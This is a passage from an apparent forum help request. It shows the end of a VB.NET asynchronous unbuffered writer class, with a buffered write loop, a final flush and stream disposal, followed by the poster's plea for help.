writeTimer.Stop()
writeTimer.Reset()
writeTimer.Start()
Do
writeWait.WaitOne()
writeWait.Reset()
bytesThisTime = CInt(inputBuffer.Length)
Buffer.BlockCopy(inputBuffer.GetBuffer, 0, internalBuffer, 0, bytesThisTime)
inputBuffer.SetLength(0)
readWait.Set()
target.Write(internalBuffer, 0, bytesThisTime)
totalWritten += bytesThisTime
Loop While writing
' Flush inputBuffer
If inputBuffer.Length > 0 Then
bytesThisTime = CInt(inputBuffer.Length)
Buffer.BlockCopy(inputBuffer.GetBuffer, 0, internalBuffer, 0, bytesThisTime)
target.Write(internalBuffer, 0, bytesThisTime)
totalWritten += bytesThisTime
End If
running = False
writeTimer.Stop()
finishedWriting.Set()
Try
target.Close()
target.Dispose()
Catch ex As Exception
End Try
inputBuffer.Close()
inputBuffer.Dispose()
inputBuffer = Nothing
internalBuffer = Nothing
target = Nothing
GC.GetTotalMemory(True)
End Sub
End Class
} Public Class clsAsyncUnbuffWriter
Now I do have one more chunk of code but it wont fit so I will post it later. all these chunks call to each other.
please help.